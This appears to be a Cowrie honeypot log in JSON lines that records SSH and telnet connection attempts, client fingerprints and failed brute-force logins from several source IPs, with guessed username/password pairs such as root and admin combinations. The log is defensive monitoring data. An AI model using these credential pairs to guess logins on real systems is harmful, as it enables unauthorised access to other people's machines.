{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:54:27.693033Z","src_ip":"150.109.20.59","session":"a090ed51205f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:54:27.938666Z","src_ip":"150.109.20.59","session":"a090ed51205f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sipv","password":"sipv","message":"login attempt [sipv/sipv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:54:28.952246Z","src_ip":"150.109.20.59","session":"a090ed51205f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:54:30.202407Z","src_ip":"150.109.20.59","session":"a090ed51205f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":50884,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac077cb0342a","protocol":"ssh","message":"New connection: 182.253.79.194:50884 (10.17.0.5:22) [session: ac077cb0342a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:54:40.911604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:54:40.916724Z","src_ip":"182.253.79.194","session":"ac077cb0342a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:54:41.186738Z","src_ip":"182.253.79.194","session":"ac077cb0342a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wW123456","message":"login attempt [root/wW123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:54:42.298359Z","src_ip":"182.253.79.194","session":"ac077cb0342a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:54:43.570672Z","src_ip":"182.253.79.194","session":"ac077cb0342a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":45302,"dst_ip":"159.203.135.109","dst_port":22,"session":"4dae2e8c00f6","protocol":"ssh","message":"New connection: 80.94.92.186:45302 (159.203.135.109:22) [session: 4dae2e8c00f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:54:49.951819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:54:49.963506Z","src_ip":"80.94.92.186","session":"4dae2e8c00f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:54:50.063128Z","src_ip":"80.94.92.186","session":"4dae2e8c00f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"latitude","message":"login attempt [solana/latitude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:54:50.518295Z","src_ip":"80.94.92.186","session":"4dae2e8c00f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:54:51.769466Z","src_ip":"80.94.92.186","session":"4dae2e8c00f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.8648521900177,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:55:01.338158Z","src_ip":"201.205.247.46","session":"878dee0271f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.4253294467926,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:55:03.079414Z","src_ip":"201.205.247.46","session":"460f76888a84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.20.59","src_port":52446,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b7f0b6749e8","protocol":"ssh","message":"New connection: 150.109.20.59:52446 (10.17.0.5:22) [session: 9b7f0b6749e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:55:58.873946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:55:58.878706Z","src_ip":"150.109.20.59","session":"9b7f0b6749e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:55:59.122089Z","src_ip":"150.109.20.59","session":"9b7f0b6749e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wW123456","message":"login attempt [root/wW123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:56:00.104763Z","src_ip":"150.109.20.59","session":"9b7f0b6749e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:56:01.345678Z","src_ip":"150.109.20.59","session":"9b7f0b6749e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":35540,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed2a217406e9","protocol":"ssh","message":"New connection: 182.253.79.194:35540 (10.17.0.5:22) [session: ed2a217406e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:56:07.560296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:56:07.565671Z","src_ip":"182.253.79.194","session":"ed2a217406e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:56:07.844802Z","src_ip":"182.253.79.194","session":"ed2a217406e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vhserver","password":"1234","message":"login attempt [vhserver/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:56:08.970766Z","src_ip":"182.253.79.194","session":"ed2a217406e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:56:10.250850Z","src_ip":"182.253.79.194","session":"ed2a217406e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":16267,"dst_ip":"159.203.135.109","dst_port":22,"session":"798ec909ac81","protocol":"ssh","message":"New connection: 2.57.121.112:16267 (159.203.135.109:22) [session: 798ec909ac81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:56:12.058794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:56:12.063604Z","src_ip":"2.57.121.112","session":"798ec909ac81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:56:12.165266Z","src_ip":"2.57.121.112","session":"798ec909ac81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"301194","message":"login attempt [admin/301194] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:56:12.650189Z","src_ip":"2.57.121.112","session":"798ec909ac81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"301189","message":"login attempt [admin/301189] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:56:13.756309Z","src_ip":"2.57.121.112","session":"798ec909ac81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"301178","message":"login attempt [admin/301178] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:56:14.867706Z","src_ip":"2.57.121.112","session":"798ec909ac81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"300985","message":"login attempt [admin/300985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:56:15.976382Z","src_ip":"2.57.121.112","session":"798ec909ac81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"300984","message":"login attempt [admin/300984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:56:17.081159Z","src_ip":"2.57.121.112","session":"798ec909ac81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:56:18.185970Z","src_ip":"2.57.121.112","session":"798ec909ac81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.185.239","src_port":39560,"dst_ip":"10.17.0.5","dst_port":22,"session":"322dbbb9b4d8","protocol":"ssh","message":"New connection: 209.99.185.239:39560 (10.17.0.5:22) [session: 322dbbb9b4d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:56:24.932019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:56:24.946266Z","src_ip":"209.99.185.239","session":"322dbbb9b4d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":49084,"dst_ip":"10.17.0.5","dst_port":22,"session":"56e689abdf2a","protocol":"ssh","message":"New connection: 80.66.85.226:49084 (10.17.0.5:22) [session: 56e689abdf2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:56:35.263126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:56:35.269453Z","src_ip":"80.66.85.226","session":"56e689abdf2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:56:35.359868Z","src_ip":"80.66.85.226","session":"56e689abdf2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fy.nrf","message":"login attempt [root/fy.nrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:56:35.635535Z","src_ip":"80.66.85.226","session":"56e689abdf2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:56:36.728376Z","src_ip":"80.66.85.226","session":"56e689abdf2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":41974,"dst_ip":"10.17.0.5","dst_port":22,"session":"e004e5ffd804","protocol":"ssh","message":"New connection: 193.228.128.84:41974 (10.17.0.5:22) [session: e004e5ffd804]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:56:38.918280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:56:38.923534Z","src_ip":"193.228.128.84","session":"e004e5ffd804","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:56:39.026020Z","src_ip":"193.228.128.84","session":"e004e5ffd804","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321qq","message":"login attempt [root/123321qq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:56:39.334138Z","src_ip":"193.228.128.84","session":"e004e5ffd804","protocol":"ssh"}
